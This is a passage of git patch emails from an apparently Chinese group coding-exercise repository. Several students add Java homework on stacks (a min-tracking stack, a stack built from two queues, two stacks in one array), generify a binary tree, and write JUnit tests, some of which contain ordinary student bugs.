-import com.sun.xml.internal.ws.encoding.SwACodec;
-
 /**
  * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
  * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
  * 
- * @author liuxin
+ * @author HarryHook
  *
  */
 public class QuickMinStack {
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java
index d8af1f8483..0829b5b34c 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java
@@ -5,7 +5,7 @@
 /**
  * 用一个数组实现两个栈 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
  * 
- * @author liuxin
+ * @author HarryHook
  *
  */
 public class TwoStackInOneArray {

From b444bfab2d135c40d990611f7801ac468b5ebfdb Mon Sep 17 00:00:00 2001
From: onlyLYJ <382266293@qq.com>
Date: Thu, 4 May 2017 20:19:02 +0800
Subject: [PATCH 169/262] new work done

---
 .../382266293/coding/basic/queue/Stack.java   | 106 +++++++++++++
 .../coding/basic/stack/QuickMinStack.java     |  74 +++++++++
 .../coding/basic/stack/QuickMinStackTest.java |  68 +++++++++
 .../basic/stack/StackWithTwoQueues.java       |  42 ++++++
 .../basic/stack/StackWithTwoQueuesTest.java   |  51 +++++++
 .../basic/stack/TwoStackInOneArray.java       | 116 ++++++++++++++
 .../basic/stack/TwoStackInOneArrayTest.java   | 142 ++++++++++++++++++
 group12/382266293/src/ThreadTest.java         |  23 +++
 .../download/FileDownloaderTest.java          |   2 +-
 9 files changed, 623 insertions(+), 1 deletion(-)
 create mode 100644 group12/382266293/coding/basic/queue/Stack.java
 create mode 100644 group12/382266293/coding/basic/stack/QuickMinStack.java
 create mode 100644 group12/382266293/coding/basic/stack/QuickMinStackTest.java
 create mode 100644 group12/382266293/coding/basic/stack/StackWithTwoQueues.java
 create mode 100644 group12/382266293/coding/basic/stack/StackWithTwoQueuesTest.java
 create mode 100644 group12/382266293/coding/basic/stack/TwoStackInOneArray.java
 create mode 100644 group12/382266293/coding/basic/stack/TwoStackInOneArrayTest.java
 create mode 100644 group12/382266293/src/ThreadTest.java

diff --git a/group12/382266293/coding/basic/queue/Stack.java b/group12/382266293/coding/basic/queue/Stack.java
new file mode 100644
index 0000000000..4a6884ef37
--- /dev/null
+++ b/group12/382266293/coding/basic/queue/Stack.java
@@ -0,0 +1,106 @@
+package queue;
+
+import java.util.EmptyStackException;
+import java.util.NoSuchElementException;
+
+import collection.AbstractList;
+import collection.Iterator;
+import collection.concrete.ArrayList;
+
+public class Stack<E> extends AbstractList<E> {
+
+	private ArrayList<E> myList;
+
+	public Stack() {
+		this.myList = new ArrayList<E>();
+	}
+
+	public void push(E e) {
+		myList.addLast(e);
+	}
+
+	public E pop() {
+		checkEmpty();
+		return myList.removeLast();
+	}
+
+	private void checkEmpty() {
+		if (0 == size())
+			throw new EmptyStackException();
+	}
+
+	public E peek() {
+		checkEmpty();
+		return myList.getLast();
+	}
+
+	@Override
+	public int size() {
+		return myList.size();
+	}
+
+	@Override
+	public void add(E e) {
+		push(e);
+	}
+
+	@Override
+	public E get(int index) {
+		checkEmpty();
+		return myList.get(size() - index - 1);
+	}
+
+	@Override
+	protected Iterator<E> iterator() {
+		return new StackIterator(myList);
+	}
+
+	@Override
+	public int hashCode() {
+		final int prime = 31;
+		int result = 1;
+		result = prime * result + ((myList == null) ? 0 : myList.hashCode());
+		return result;
+	}
+
+	@Override
+	public boolean equals(Object obj) {
+		if (this == obj)
+			return true;
+		if (obj == null)
+			return false;
+		if (getClass() != obj.getClass())
+			return false;
+		Stack other = (Stack) obj;
+		if (myList == null) {
+			if (other.myList != null)
+				return false;
+		} else if (!myList.equals(other.myList))
+			return false;
+		return true;
+	}
+
+	private class StackIterator<E> implements Iterator<E> {
+
+		private ArrayList<E> myArrayList;
+		private int pos;
+
+		public StackIterator(ArrayList<E> myList) {
+			myArrayList = myList;
+			pos = 0;
+		}
+
+		@Override
+		public boolean hasNext() {
+			return pos < size();
+		}
+
+		@Override
+		public E next() {
+			if (hasNext())
+				return (E) get(pos);
+			throw new NoSuchElementException();
+		}
+	}
+
+}
diff --git a/group12/382266293/coding/basic/stack/QuickMinStack.java b/group12/382266293/coding/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..f474104ba8
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/QuickMinStack.java
@@ -0,0 +1,74 @@
+package stack;
+
+import java.util.NoSuchElementException;
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	
+	Stack<Integer> s1 = new Stack<>();
+	private Stack<Integer> min = new Stack<>();
+
+	
+	public void push(int data){
+		s1.push(data);
+		if (size() == 0) {
+			
+			min.push(data);
+		} else {
+			Stack<Integer> temp = new Stack<Integer>();
+			while(!min.isEmpty() && data >min.peek()) {
+				temp.push(min.pop());
+			}
+			min.push(data);
+			while(!temp.isEmpty()) {
+				min.push(temp.pop());
+			}
+		}
+	}
+	
+	@Override
+	public String toString() {
+		return "QuickMinStack [s1=" + s1 + ", min=" + min + "]";
+	}
+
+	public int pop(){
+		
+		checkEmpty();
+		int result = s1.pop();
+		Stack<Integer> temp = new Stack<Integer>();
+		
+		while(!min.isEmpty() && min.peek() != result) {
+			temp.push(min.pop());
+		}
+
+		min.pop();
+		
+		while(!temp.isEmpty()) {
+			min.push(temp.pop());
+		}
+		
+		return result;
+	}
+	
+	private void checkEmpty() {
+		if (size() <= 0) {
+			throw new NoSuchElementException("stack is empty");
+		}
+		
+	}
+
+	public int size() {
+		return s1.size();
+	}
+
+	public int findMin(){
+		return min.peek();
+	}
+
+}
diff --git a/group12/382266293/coding/basic/stack/QuickMinStackTest.java b/group12/382266293/coding/basic/stack/QuickMinStackTest.java
new file mode 100644
index 0000000000..23fa14c947
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/QuickMinStackTest.java
@@ -0,0 +1,68 @@
+package stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class QuickMinStackTest {
+
+	QuickMinStack qs;
+	
+	@Before
+	public void setUp() throws Exception {
+		qs = new QuickMinStack();
+	}
+
+	@After
+	public void tearDown() throws Exception {
+		qs = null;
+	}
+
+	@Test
+	public void testPush() {
+		qs.push(1);
+		qs.push(2);
+	}
+
+	@Test
+	public void testPop() {
+		qs.push(1);
+		qs.push(2);
+		assertEquals(2,qs.pop());
+		assertEquals(1,qs.pop());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(0,qs.size());
+		qs.push(1);
+		qs.push(2);
+		assertEquals(2,qs.size());
+	}
+
+	@Test
+	public void testFindMin() {
+		for (int i = 0; i < 8; i++) {
+			qs.push(i);
+		}
+		
+		qs.push(-19);
+		qs.push(100);
+		
+		assertEquals(-19,qs.findMin());
+		qs.pop();
+		qs.pop();
+		assertEquals(0,qs.findMin());
+		qs.push(-1);
+		qs.push(-1);
+		assertEquals(-1,qs.findMin());
+		qs.pop();
+		assertEquals(-1,qs.findMin());
+		qs.pop();
+		assertEquals(0,qs.findMin());
+		
+	}
+
+}
diff --git a/group12/382266293/coding/basic/stack/StackWithTwoQueues.java b/group12/382266293/coding/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..05ee36d22a
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,42 @@
+package stack;
+
+import queue.Queue;
+
+public class StackWithTwoQueues<E> {
+	
+	private Queue<Integer> q1 = new Queue<Integer>() ;
+	private Queue<Integer> q2 = new Queue<Integer>() ;
+	
+	public boolean isEmpty() {
+		return size() == 0;
+	}
+	
+	public int size() {
+		return q1.size() + q2.size();
+	}
+	
+    public void push(int data) {       
+    	q1.enQueue(data);
+    }
+
+    public int pop() {
+    	if (size() <= 0) {
+    		throw new RuntimeException("stack is empty");
+    	}
+    	
+    	if (q1.size() >= 1) {
+        	while (q1.size() > 1) {
+        		q2.enQueue(q1.deQueue());
+        	}
+    		return q1.deQueue();
+    	} else {
+    		while (q2.size() > 1) {
+        		q1.enQueue(q2.deQueue());
+    		}
+    		return q2.deQueue();
+    	}
+
+    }
+
+    
+}
diff --git a/group12/382266293/coding/basic/stack/StackWithTwoQueuesTest.java b/group12/382266293/coding/basic/stack/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..49258a7a47
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/StackWithTwoQueuesTest.java
@@ -0,0 +1,51 @@
+package stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class StackWithTwoQueuesTest {
+
+	StackWithTwoQueues<Integer> sq; 
+	@Before
+	public void setUp() throws Exception {
+		sq = new StackWithTwoQueues<>();
+	}
+
+	@After
+	public void tearDown() throws Exception {
+		sq = null;
+	}
+	
+	@Test
+	public void testIsEmpty() {
+		assertEquals(true,sq.isEmpty());
+	}
+
+	@Test
+	public void testPush() {
+		sq.push(1);
+		assertEquals(1,sq.size());
+		sq.push(2);
+		assertEquals(2,sq.size());
+		sq.pop();
+		assertEquals(1,sq.size());
+		sq.pop();
+		assertEquals(0,sq.size());
+	}
+
+	@Test
+	public void testPop() {
+		sq.push(1);
+		sq.push(2);
+		sq.push(-3);
+		assertEquals(-3,sq.pop());
+		sq.push(4);
+		assertEquals(4,sq.pop());
+		assertEquals(2,sq.pop());
+		assertEquals(1,sq.pop());
+	}
+
+}
diff --git a/group12/382266293/coding/basic/stack/TwoStackInOneArray.java b/group12/382266293/coding/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..87ceff35c7
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,116 @@
+package stack;
+
+import java.util.Arrays;
+import java.util.NoSuchElementException;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	
+	private int size1 = 0;
+	private int size2 = 0;
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		checkCapacity();
+		data[size1++] = o;
+	}
+	
+	@Override
+	public String toString() {
+		return "TwoStackInOneArray [data=" + Arrays.toString(data) + "]";
+	}
+
+	public int size1() {
+		return size1;
+	}
+	
+	public int size2() {
+		return size2;
+	}
+	
+	private void checkCapacity() {
+		if (size() + 1 >= data.length) {
+			grow();
+		}
+	}
+	private int size() {
+		return size1 + size2;
+	}
+
+	private void grow() {
+		int newCapacity = size() * 2;
+		Object[] target = new Object[newCapacity];
+		System.arraycopy(data, 0, target, 0, size1);
+		System.arraycopy(data, data.length - size2, target, target.length - size2, size2);
+		data = target;	
+	}
+
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		
+		checkEmpty(size1);
+		Object o = data[size1-1];
+		data[size1-1] = null;
+		size1--;
+		return o;
+	
+	}
+	
+	private void checkEmpty(int size) {
+		if (size <= 0) {
+			throw new NoSuchElementException("stack is empty");
+		}
+	}
+
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		
+		checkEmpty(size1);
+		return data[size1-1];
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		checkCapacity();
+		data[data.length - size2 - 1] = o;
+		size2++;
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		checkEmpty(size2);
+		Object o = data[data.length - size2];
+		data[data.length - size2] = null;
+		size2--;
+		return o;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		checkEmpty(size2);
+		return data[data.length - size2];
+	}
+	
+}
diff --git a/group12/382266293/coding/basic/stack/TwoStackInOneArrayTest.java b/group12/382266293/coding/basic/stack/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..6ce6125b46
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/TwoStackInOneArrayTest.java
@@ -0,0 +1,142 @@
+package stack;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TwoStackInOneArrayTest {
+
+	TwoStackInOneArray ts;
+	@Before
+	public void setUp() throws Exception {
+		ts = new TwoStackInOneArray();
+	}
+
+	@After
+	public void tearDown() throws Exception {
+		ts = null;
+	}
+
+	@Test
+	public void testPush1() {
+		ts.push1(1);
+		ts.push1(2);
+	}
+
+	@Test
+	public void testSize1() {
+		assertEquals(0,ts.size1());
+		ts.push1(1);
+		ts.push1(2);
+		assertEquals(2,ts.size1());
+	}
+
+	@Test
+	public void testSize2() {
+		assertEquals(0,ts.size2());
+		ts.push2(1);
+		ts.push2(2);
+		assertEquals(2,ts.size2());
+	}
+	
+	@Test
+	public void testSize12() {
+		assertEquals(0,ts.size1());
+		ts.push1(1);
+		ts.push1(2);
+		assertEquals(2,ts.size1());
+		assertEquals(0,ts.size2());
+		ts.push2(1);
+		ts.push2(2);
+		assertEquals(2,ts.size2());
+	}
+
+	@Test
+	public void testPush2() {
+		ts.push2(1);
+		ts.push2(2);
+		assertEquals(2,ts.pop2());
+		assertEquals(1,ts.pop2());
+	}
+	
+	@Test
+	public void testPush12() {
+		ts.push1(1);
+		ts.push1(2);
+		assertEquals(2,ts.pop1());
+		assertEquals(1,ts.pop1());
+		ts.push2(1);
+		ts.push2(2);
+		assertEquals(2,ts.pop2());
+		assertEquals(1,ts.pop2());
+	}
+	
+
+	@Test
+	public void testPop1() {
+		
+		ts.push1(1);
+		ts.push1(2);
+		assertEquals(2,ts.pop1());
+		assertEquals(1,ts.pop1());
+		
+	}
+	
+
+
+	@Test
+	public void testPop2() {
+		
+		ts.push2(1);
+		ts.push2(2);
+		assertEquals(2,ts.pop2());
+		assertEquals(1,ts.pop2());
+		
+	}
+
+	@Test
+	public void testPeek2() {
+		
+		ts.push1(1);
+		ts.push1(2);
+		assertEquals(2,ts.pop1());
+		assertEquals(1,ts.pop1());
+		
+		ts.push2(1);
+		ts.push2(2);
+		assertEquals(2,ts.pop2());
+		assertEquals(1,ts.pop2());
+	}
+
+	@Test
+	public void testPeek1() {
+		
+		ts.push1(1);
+		assertEquals(1,ts.peek1());
+		ts.push1(2);
+		assertEquals(2,ts.peek1());
+		
+	}
+	
+	@Test
+	public void testGrow() {
+		
+		for(int i = 1; i < 101; i++) {
+			ts.push1(i);
+			ts.push2(i);
+			assertEquals(i,ts.size1());
+			assertEquals(i,ts.size2());
+		}
+		
+		for (int i = 100; i >0; i--) {
+			assertEquals(i, ts.pop1());
+			assertEquals(i, ts.pop2());
+		}
+		
+	}
+
+
+
+}
diff --git a/group12/382266293/src/ThreadTest.java b/group12/382266293/src/ThreadTest.java
new file mode 100644
index 0000000000..de8c8825e0
--- /dev/null
+++ b/group12/382266293/src/ThreadTest.java
@@ -0,0 +1,23 @@
+public class ThreadTest extends Thread {    
+    boolean stop = false;
+   	Integer value = 0;    
+    public void run() {
+        while (!stop) {
+        		
+        		value++; 
+        }
+    }
+
+    public static void main(String[] args) 
+    		throws Exception {
+    	
+    	ThreadTest t = new ThreadTest();
+        t.start();
+        Thread.sleep(2000);
+        t.stop = true;
+        System.out.println("value =" + t.value);
+        Thread.sleep(2000);
+        System.out.println("value =" + t.value);
+        
+    }
+}
diff --git a/group12/382266293/src/com/coderising/download/FileDownloaderTest.java b/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
index c117b9d878..fb681c4c0e 100644
--- a/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
+++ b/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
@@ -30,7 +30,7 @@ public void testDownload() {
 
 		String url = "http://localhost:8080/test.jpg";
 
-		FileDownloader downloader = new FileDownloader(qq);
+		FileDownloader downloader = new FileDownloader(Git);
 
 		ConnectionManager cm = new ConnectionManagerImpl();
 		downloader.setConnectionManager(cm);

From bd0e0fe9370d98cb6fd850a2607e504b23970d7c Mon Sep 17 00:00:00 2001
From: zj <2258659044@qq.com>
Date: Thu, 4 May 2017 23:00:02 +0800
Subject: [PATCH 170/262] =?UTF-8?q?JVM=E7=AC=AC6=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/coding/basic/BinaryTree.java      |  39 ++++--
 .../com/coding/basic/stack/QuickMinStack.java |  40 ++++++
 .../basic/stack/StackWithTwoQueues.java       |  38 +++++
 .../basic/stack/TwoStackInOneArray.java       | 127 +++++++++++++++++
 .../test/com/coding/basic/BinaryTreeTest.java |   9 +-
 .../coding/basic/stack/QuickMinStackTest.java |  60 ++++++++
 .../basic/stack/StackWithTwoQueuesTest.java   |  72 ++++++++++
 .../basic/stack/TwoStackInOneArrayTest.java   | 130 ++++++++++++++++++
 8 files changed, 498 insertions(+), 17 deletions(-)
 create mode 100644 group12/2258659044/zj-2017/src/com/coding/basic/stack/QuickMinStack.java
 create mode 100644 group12/2258659044/zj-2017/src/com/coding/basic/stack/StackWithTwoQueues.java
 create mode 100644 group12/2258659044/zj-2017/src/com/coding/basic/stack/TwoStackInOneArray.java
 create mode 100644 group12/2258659044/zj-2017/src/test/com/coding/basic/stack/QuickMinStackTest.java
 create mode 100644 group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackWithTwoQueuesTest.java
 create mode 100644 group12/2258659044/zj-2017/src/test/com/coding/basic/stack/TwoStackInOneArrayTest.java

diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java b/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java
index 3fe9965b5e..53c4e92013 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java
@@ -2,24 +2,23 @@
 
 import com.coding.basic.array.ArrayList;
 
-public class BinaryTree {
+public class BinaryTree<T extends Comparable<T>> {
 	
 	//根节点
-	private BinaryTreeNode<Integer> root;	
-	    
-	@SuppressWarnings({ "rawtypes", "unchecked" })
-	public <T extends Comparable<? super T>> BinaryTreeNode insert(T o){
+	private BinaryTreeNode<T> root;	
+	    	
+	public BinaryTreeNode<T> insert(T o){
 		
-		BinaryTreeNode treeNode = new BinaryTreeNode();
+		BinaryTreeNode<T> treeNode = new BinaryTreeNode<T>();
 		treeNode.setData(o);
 		if(root == null){
 			root =  treeNode;
 		}else{				
-			BinaryTreeNode currentNode = root;
-			BinaryTreeNode parent;
+			BinaryTreeNode<T> currentNode = root;
+			BinaryTreeNode<T> parent;
 			while(true){
 				parent = currentNode;
-				if(((Comparable)currentNode.getData()).compareTo(o)>0){//向左放					
+				if((currentNode.getData()).compareTo(o)>0){//向左放					
 					currentNode = currentNode.getLeft();
 					if(currentNode == null){
 						parent.setLeft(treeNode);
@@ -44,12 +43,12 @@ public <T extends Comparable<? super T>> BinaryTreeNode insert(T o){
 	 * @param node
 	 * @return
 	 */
-	public List<Integer> traversalBefore(BinaryTreeNode<Integer> node){
+	public List<T> traversalBefore(BinaryTreeNode<T> node){
 		//所有数据集合
-	    List<Integer> datas = new ArrayList<>();
+	    List<T> datas = new ArrayList<>();
 	    return traversal(node,datas);
 	}
-	private List<Integer> traversal(BinaryTreeNode<Integer> node,List<Integer> datas){
+	private List<T> traversal(BinaryTreeNode<T> node,List<T> datas){
 		
 		if(node !=null){
 			datas.add(node.getData());
@@ -59,8 +58,22 @@ private List<Integer> traversal(BinaryTreeNode<Integer> node,List<Integer> datas
 		return datas;
 	}
 
-	public BinaryTreeNode<Integer> getRoot() {
+	public BinaryTreeNode<T> getRoot() {
 		return root;
 	}
+	
+	/**
+	 * 获取比obj大的最小值
+	 * @param obj
+	 * @return
+	 */
+	public T getLeastBigger (T obj){
 		
+		BinaryTreeNode<T> left = root;
+		while(left.getLeft()!=null){
+			left = left.getLeft();
+		}
+		return left.getData();
+	}
+	
 }
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/QuickMinStack.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..56dee25531
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/QuickMinStack.java
@@ -0,0 +1,40 @@
+package com.coding.basic.stack;
+
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author zj
+ * @param <T>
+ *
+ */
+public class QuickMinStack<T extends Comparable<T>> {
+	
+
+	private Stack<T> dataStack = new Stack<T>();
+	
+	private Stack<T> minStack = new Stack<T>();
+	
+	public void push(T item){
+					
+		if(minStack.isEmpty()||item.compareTo(minStack.peek())<0){
+			minStack.push(item);
+		}else{
+			minStack.push(minStack.peek());
+		}
+		
+		dataStack.push(item);
+	}
+
+	public T pop(){
+		
+		minStack.pop();
+		return dataStack.pop();
+	}
+	
+	public T findMin(){
+		
+		return minStack.peek();
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/StackWithTwoQueues.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..8a76830563
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,38 @@
+package com.coding.basic.stack;
+
+import com.coding.basic.queue.Queue;
+
+/**
+ * 
+ * @author zj
+ *
+ * @param <E>
+ */
+public class StackWithTwoQueues<E> {
+	
+
+	private final Queue<E> q1 = new Queue<E>();
+	
+	private final Queue<E> q2 = new Queue<E>();
+	
+    public void push(E data) {       
+
+    	q1.enQueue(data);
+    }
+
+    public E pop() {
+       
+    	while(q1.size()>1){
+    		q2.enQueue(q1.deQueue());
+    	}
+    	return q1.deQueue();
+    }
+
+    public int size(){
+    	return q1.size()+q2.size();
+    }
+    
+    public boolean isEmpty(){
+    	return q1.size()+q2.size()==0;
+    }
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/stack/TwoStackInOneArray.java b/group12/2258659044/zj-2017/src/com/coding/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..9c00bfbbbb
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,127 @@
+package com.coding.basic.stack;
+
+import java.util.EmptyStackException;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @@author zj
+ *
+ */
+public class TwoStackInOneArray {
+	
+	Object[] data = new Object[10];
+	
+	private int index1 = 0;
+	private int index2=data.length-1;
+	
+    /*扩容因子*/
+	private static final int FACTOR = 10;
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		
+		if(index1-1==index2){
+			grow();
+		}
+		data[index1++] = o;
+	}
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		
+		rangeCheck(index1);
+		
+		return data[--index1];
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		
+		rangeCheck(index1);
+		
+		int popIndex = index1-1;
+		
+		return data[popIndex];
+	}
+	
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		
+		if(index2+1==index1){
+			grow();
+		}
+		data[index2--] = o;
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		
+		rangeCheck(index2);
+		
+		return data[++index2];
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		
+		rangeCheck(index2);
+		
+		int popIndex = index2+1;
+		
+		return data[popIndex];
+	}
+	
+	/**
+	 * 扩容
+	 */
+	private void grow(){
+		
+		//原来数组长度
+		int origLen =  data.length;
+		
+		//扩容后现在的长度
+		int curLen = origLen+FACTOR;
+		
+		//栈2中数据个数
+		
+		int num = origLen - index2-1;
+		
+		//新建临时数组
+		Object[] temp = new Object[curLen];
+		
+		//将栈1的内容拷贝到新数组中
+		System.arraycopy(data, 0, temp, 0, index1);
+		
+		//将栈2的内容拷贝到新数组中
+		System.arraycopy(data, index1, temp,curLen-num , num);
+		
+		//更新index2与数组		
+		this.index2 = curLen-num-1;
+		this.data = temp;
+	}
+	
+	private void rangeCheck(int index){
+		
+		if(index==0||index == data.length-1){
+			throw new EmptyStackException();
+		}
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java
index 98b79b3b6b..edc13f5ba6 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java
@@ -10,20 +10,21 @@
 
 public class BinaryTreeTest {
 
-	BinaryTree tree ;
+	BinaryTree<Integer> tree ;
 	
 	@Before
     public void setup() {
 		
-		tree = new BinaryTree();
+		tree = new BinaryTree<>();
 		Assert.assertEquals(tree.getRoot(), null);
 		tree.insert(5);
 		tree.insert(2);
 		tree.insert(7);
 		tree.insert(1);
 		tree.insert(6);
+
     }
-	@SuppressWarnings("unchecked")
+
 	@Test
 	public void insert(){
 		
@@ -36,7 +37,7 @@ public void insert(){
 		Assert.assertEquals((int)node2.getParent().getLeft().getData(), 6);
 	}
 	
-	@Test
+	//@Test
 	public void traversal(){
 		
 		insert();
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/QuickMinStackTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/QuickMinStackTest.java
new file mode 100644
index 0000000000..8e48a74f20
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/QuickMinStackTest.java
@@ -0,0 +1,60 @@
+package test.com.coding.basic.stack;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.stack.QuickMinStack;
+
+public class QuickMinStackTest {
+
+	QuickMinStack<Integer> stack ;
+	@Before
+	public void setUp() throws Exception {
+		
+		stack = new QuickMinStack<>();
+	}
+
+	@Test
+	public void testPush() {
+		
+		for (int i = 0; i < 15; i++) {
+			stack.push(i);
+		}
+		Assert.assertEquals(14, (int)stack.pop());
+	}
+
+	@Test
+	public void testPop() {
+		
+		for (int i = 0; i < 10; i++) {
+			stack.push(i);
+		}
+		for (int i = 9; i >= 0; i--) {
+			Assert.assertEquals(i, (int)stack.pop());
+		}
+	}
+
+	@Test
+	public void testFindMin() {
+		
+		for (int i = 5; i < 15; i++) {
+			stack.push(i);
+		}
+		Assert.assertEquals(5, (int)stack.findMin());
+		
+		stack.push(5);
+		stack.push(3);
+		stack.push(4);
+		
+		stack.pop();
+		Assert.assertEquals(3, (int)stack.findMin());
+		
+		stack.pop();
+		Assert.assertEquals(5, (int)stack.findMin());
+		
+		stack.pop();
+		Assert.assertEquals(5, (int)stack.findMin());
+	}
+
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackWithTwoQueuesTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..8ff6dc83de
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackWithTwoQueuesTest.java
@@ -0,0 +1,72 @@
+package test.com.coding.basic.stack;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.stack.StackWithTwoQueues;
+
+public class StackWithTwoQueuesTest {
+
+	StackWithTwoQueues<Object> stack;
+	
+	@Before
+	public void setUp() throws Exception {
+		
+		stack = new StackWithTwoQueues<>();
+	}
+
+	@Test
+	public void testPush() {
+		
+		stack.push(123);
+	    Assert.assertEquals(1, stack.size());
+	    
+	    stack.push("zj");
+	    stack.push('Y');
+	    Assert.assertEquals(3, stack.size());
+	    
+	}
+
+	@Test
+	public void testPop() {
+		
+		stack.push(123);				
+		stack.push("zj");
+		Assert.assertEquals("zj", stack.pop());
+		Assert.assertEquals(1, stack.size());
+		
+	    stack.push('H');
+	    stack.push('Y');
+	    Assert.assertEquals('Y', stack.pop());
+	    Assert.assertEquals(2, stack.size());
+	    
+	}
+
+	@Test
+	public void testSize() {
+		
+		Assert.assertEquals(0, stack.size());
+		
+		stack.push("zj");
+		stack.push('H');
+	    stack.push('y');		
+	    Assert.assertEquals(3, stack.size());
+	    
+	    stack.pop();
+	    Assert.assertEquals(2, stack.size());
+	}
+
+	@Test
+	public void testIsEmpty() {
+		
+		Assert.assertEquals(true, stack.isEmpty());
+		
+		stack.push("zj");
+		stack.push('H');
